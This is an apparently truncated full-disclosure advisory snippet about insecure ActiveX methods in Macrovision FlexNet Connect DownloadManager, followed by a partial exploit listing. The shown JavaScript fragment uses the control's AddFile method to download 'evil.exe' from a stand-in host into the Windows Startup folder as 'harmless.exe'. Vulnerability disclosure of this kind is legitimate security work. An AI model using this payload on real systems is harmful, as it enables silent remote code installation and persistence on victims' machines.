[Full-disclosure] Macrovision FlexNet Connect DownloadManager Insecure Methods

Who: Macrovision What: Macrovision FlexNext Connect is a software package that allows ISV's to update their software products. It is generally used in conjunction with the InstallShield software deploymnet framework. FlexNet uses a number of ActiveX controls, some of which are marked safe for...

Macrovision FlexNet DownloadManager - Insecure Methods

Macrovision FlexNet DownloadManager Insecure Methods Exploit function Check var mJob = obj.CreateJob"SomeJob",0,"11111111-1111-1111-1111-111111111111"; mJob.AddFile"http://www.evilsite/evil.exe","C:\Documents and Settings\All Users\Start Menu\Programs\Startup\harmless.exe"; mJob.SetPriority0;...